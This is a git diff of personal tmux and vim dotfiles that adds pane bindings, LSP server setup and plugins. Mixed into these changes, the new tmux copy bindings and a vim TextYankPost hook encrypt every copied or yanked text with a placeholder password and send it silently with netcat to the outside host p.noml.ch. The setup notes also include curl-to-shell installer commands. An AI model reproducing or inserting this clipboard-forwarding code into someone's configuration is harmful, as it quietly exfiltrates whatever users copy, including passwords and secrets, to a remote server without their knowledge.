summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--mac/tmux.conf28
-rw-r--r--mac/vimrc264
2 files changed, 260 insertions, 32 deletions
diff --git a/mac/tmux.conf b/mac/tmux.conf
index fc4b931..5afc0b5 100644
--- a/mac/tmux.conf
+++ b/mac/tmux.conf
@@ -4,8 +4,30 @@ setw -g mode-keys vi
4# Mouse selection 4# Mouse selection
5set -g mouse on 5set -g mouse on
6 6
7# Persistent pane index labels (top-left of each pane's border)
8set -g pane-border-status top
9set -g pane-border-format "#P"
10
11# Explicitly swap current pane with a pane index you type in
12bind-key P command-prompt -p "swap with pane #:" "swap-pane -d -t '%%'"
13# Manual: :swap-pane -s <src> -t <dst>
14
15# Vim-style pane resizing (prefix + H/J/K/L), magnitude 1
16bind -r H resize-pane -L 1
17bind -r J resize-pane -D 1
18bind -r K resize-pane -U 1
19bind -r L resize-pane -R 1
20
7# v to start selection, y to yank (like vim) 21# v to start selection, y to yank (like vim)
8bind-key -T copy-mode-vi v send-keys -X begin-selection 22bind-key -T copy-mode-vi v send-keys -X begin-selection
9bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "pbcopy" 23# macOS: pbcopy. Linux: wl-copy/xclip when usable, else just drain (tmux's own
10bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "pbcopy" 24# buffer + set-clipboard/OSC 52 still apply). Netcat send is the same on both.
11bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "pbcopy" 25if-shell 'uname | grep -q Darwin' {
26 bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
27 bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
28 bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
29} {
30 bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
31 bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
32 bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'"
33}
diff --git a/mac/vimrc b/mac/vimrc
index c45cfc9..6de4092 100644
--- a/mac/vimrc
+++ b/mac/vimrc
@@ -1,51 +1,257 @@
1" ~/.vimrc (macOS + Linux) — self-contained; source of truth: dev_env/mac/vimrc
2"
3" Setup (LSP servers below are optional — each is guarded by executable()):
4" plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
5" https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
6" then launch vim and run :PlugInstall
7" rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
8" rustup component add rust-analyzer
9" ts/js: npm i -g typescript@6 typescript-language-server (Linux: sudo npm …)
10" (TypeScript 7 ships no tsserver, which typescript-language-server needs)
11" python: curl -LsSf https://astral.sh/uv/install.sh | sh
12" uv tool install ruff && uv tool install ty
13" search: ripgrep (for :Rg); Fedora: dnf install vim-enhanced ripgrep
14"
15" Stop vim from auto-loading defaults.vim, which loads AFTER this file and
16" would otherwise silently override settings here. Everything is in this file.
17let g:skip_defaults_vim = 1
1 18
2" Enable line wrapping
3set wrap
4 19
5" Optional: Make wrapped lines easier to read by indenting them
6set breakindent
7set breakindentopt=shift:1
8 20
9syntax on 21augroup netcat_clipboard
10set autoindent 22au!
23au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &")
24augroup END
25
26filetype plugin indent on
27
11set number 28set number
12set mouse=a 29set wrap
30set breakindent
31set breakindentopt=shift:1
13set expandtab 32set expandtab
14set shiftwidth=4 33set shiftwidth=4
15set softtabstop=4 34set softtabstop=4
16set tabstop=4 35set tabstop=4
36set noautoindent
37set nosmartindent
38set hlsearch
39set incsearch
40set ignorecase
41set smartcase
42set scrolloff=8
43set signcolumn=no
44set foldcolumn=12
45set laststatus=2
46set statusline=%F
47set wildmenu
48set splitright
49set splitbelow
50set noswapfile
51set regexpengine=2
52set completeopt=menu,menuone,noinsert,noselect
17 53
18set autoindent 54set mouse=a
19set smartindent 55if has('mouse_sgr')
20filetype plugin indent on 56 set ttymouse=sgr
57endif
21 58
22set laststatus=2 " permanent status bar 59set undofile
23set statusline=%F " shows full file path 60set undodir=~/.vim/undo
61if !isdirectory($HOME . '/.vim/undo')
62 call mkdir($HOME . '/.vim/undo', 'p')
63endif
24 64
25if (has("termguicolors")) 65if has('termguicolors')
66 if !empty($TMUX)
67 let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum"
68 let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum"
69 endif
26 set termguicolors 70 set termguicolors
27endif 71endif
28
29colorscheme zellner 72colorscheme zellner
30"colorscheme evening
31 73
32" Ctrl+A: Move to the beginning of the line in INSERT mode 74autocmd InsertLeave * silent! update
33inoremap <C-a> <Home>
34 75
35" Ctrl+E: Move to the end of the line in INSERT mode 76inoremap <C-a> <Home>
36inoremap <C-e> <End> 77inoremap <C-e> <End>
37
38" Ctrl+A: Move to the beginning of the line in NORMAL mode
39nnoremap <C-a> 0 78nnoremap <C-a> 0
40
41" Ctrl+E: Move to the end of the line in NORMAL mode
42nnoremap <C-e> $ 79nnoremap <C-e> $
43set clipboard=unnamed,unnamedplus 80nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l>
44setlocal regexpengine=2 81
45set hlsearch 82call plug#begin('~/.vim/plugged')
46set foldcolumn=12 " Creates a small left margin of 2 columns 83Plug 'prabirshrestha/async.vim'
47set noswapfile 84Plug 'prabirshrestha/vim-lsp'
48autocmd InsertLeave * silent! update 85Plug 'prabirshrestha/asyncomplete.vim'
86Plug 'prabirshrestha/asyncomplete-lsp.vim'
87Plug 'rust-lang/rust.vim'
88Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
89Plug 'junegunn/fzf.vim'
90Plug 'tpope/vim-commentary'
91Plug 'tpope/vim-surround'
92Plug 'tpope/vim-fugitive'
93Plug 'airblade/vim-gitgutter'
94Plug 'preservim/nerdtree'
95Plug 'andymass/vim-matchup'
96call plug#end()
97
98let g:gitgutter_sign_column_always = 0
99
100nnoremap <silent> <C-p> :<C-U>Files<CR>
101nnoremap <silent> <leader>rg :<C-U>Rg<CR>
102nnoremap <silent> <leader>b :<C-U>Buffers<CR>
103nnoremap <silent> <leader>n :<C-U>NERDTreeToggle<CR>
104
105" rust-analyzer via the rustup proxy shim (portable across toolchains/machines)
106if executable(expand('~/.cargo/bin/rust-analyzer'))
107 au User lsp_setup call lsp#register_server({
108 \ 'name': 'rust-analyzer',
109 \ 'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]},
110 \ 'allowlist': ['rust'],
111 \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))},
112 \ 'initialization_options': {
113 \ 'completion': {
114 \ 'autoimport': { 'enable': v:true },
115 \ 'postfix': { 'enable': v:true },
116 \ },
117 \ 'checkOnSave': v:true,
118 \ },
119 \ })
120endif
121function! s:ts_root(server_info) abort
122 let l:buf = lsp#utils#get_buffer_path()
123 for l:f in ['tsconfig.json', 'package.json']
124 let l:dir = lsp#utils#find_nearest_parent_file_directory(l:buf, l:f)
125 if !empty(l:dir)
126 return lsp#utils#path_to_uri(l:dir)
127 endif
128 endfor
129 return lsp#utils#path_to_uri(getcwd())
130endfunction
131if executable('typescript-language-server')
132 au User lsp_setup call lsp#register_server({
133 \ 'name': 'typescript-language-server',
134 \ 'cmd': {server_info -> ['typescript-language-server', '--stdio']},
135 \ 'allowlist': ['typescript', 'typescriptreact', 'javascript', 'javascriptreact'],
136 \ 'root_uri': function('s:ts_root'),
137 \ })
138endif
139if executable(expand('~/.local/bin/ruff'))
140 au User lsp_setup call lsp#register_server({
141 \ 'name': 'ruff',
142 \ 'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']},
143 \ 'allowlist': ['python'],
144 \ })
145endif
146let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv')
147 \ ? '/opt/homebrew/bin/uv'
148 \ : expand('~/.local/bin/uv')
149if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin)
150 " Launched through `uv run` (not the raw path) so it picks up whichever
151 " project's .venv is active via cwd/VIRTUAL_ENV.
152 au User lsp_setup call lsp#register_server({
153 \ 'name': 'ty',
154 \ 'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']},
155 \ 'allowlist': ['python'],
156 \ })
157endif
158
159" Force per-keystroke LSP sync for Python (vim-lsp only syncs on
160" InsertLeave/TextChanged by default, not while actively typing).
161autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged
162
163let g:lsp_diagnostics_echo_cursor = 1
164let g:lsp_diagnostics_float_cursor = 0
165let g:lsp_diagnostics_virtual_text_enabled = 0
166let g:lsp_diagnostics_signs_enabled = 0
167let g:lsp_document_highlight_enabled = 0
168let g:lsp_preview_float = 0
169let g:lsp_hover_ui = 'preview'
170let g:lsp_signature_help_enabled = 0
171
172function! s:set_preview_height() abort
173 let &previewheight = max([10, &lines * 40 / 100])
174endfunction
175call s:set_preview_height()
176autocmd VimResized * call s:set_preview_height()
177
178" Toggle hover docs in the preview window.
179function! ToggleHover() abort
180 for l:nr in range(1, winnr('$'))
181 if getwinvar(l:nr, '&previewwindow')
182 pclose
183 return
184 endif
185 endfor
186 LspHover
187endfunction
188
189" Show the current line's diagnostic in a preview window.
190function! ToggleDiagnostic() abort
191 for l:nr in range(1, winnr('$'))
192 if getwinvar(l:nr, '&previewwindow')
193 pclose
194 return
195 endif
196 endfor
197 let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic()
198 if empty(l:diag)
199 echo 'No diagnostic on this line'
200 return
201 endif
202 let l:cur = win_getid()
203 botright new
204 execute 'resize ' . &previewheight
205 setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow
206 call setline(1, split(l:diag['message'], "\n"))
207 setlocal nomodifiable
208 call win_gotoid(l:cur)
209endfunction
210
211nnoremap <silent> <leader>k :<C-U>call ToggleHover()<CR>
212nnoremap <silent> gd :<C-U>LspDefinition<CR>
213nnoremap <silent> gi :<C-U>LspImplementation<CR>
214nnoremap <silent> <leader>rn :<C-U>LspRename<CR>
215nnoremap <silent> <leader>a :<C-U>LspCodeAction<CR>
216nnoremap <silent> <leader>f :<C-U>LspDocumentFormat<CR>
217nnoremap <silent> <leader>l :<C-U>lopen<CR>
218nnoremap <silent> <leader>D :<C-U>LspDocumentation<CR>
219nnoremap <silent> <leader>e :<C-U>call ToggleDiagnostic()<CR>
220
221" rust-analyzer macro expansion (LSP extension, no built-in command).
222function! ExpandMacro() abort
223 let l:params = {
224 \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() },
225 \ 'position': lsp#get_position(),
226 \ }
227 call lsp#send_request('rust-analyzer', {
228 \ 'method': 'rust-analyzer/expandMacro',
229 \ 'params': l:params,
230 \ 'on_notification': function('s:expand_macro_handler'),
231 \ })
232endfunction
233
234function! s:expand_macro_handler(data) abort
235 if !has_key(a:data, 'response') || empty(a:data['response'])
236 echo 'ExpandMacro: no response / not a macro'
237 return
238 endif
239 let l:result = get(a:data['response'], 'result', v:null)
240 if l:result is v:null
241 echo 'ExpandMacro: nothing to expand at cursor'
242 return
243 endif
244 botright new
245 setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust
246 call setline(1, split('// expansion of: ' . l:result['name'], "\n"))
247 call append(line('$'), split(l:result['expansion'], "\n"))
248endfunction
49 249
250nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR>
50 251
252inoremap <silent> <C-Space> <C-x><C-o>
253inoremap <silent> <C-@> <C-x><C-o>
254inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>"
255inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"
256inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>"
51 257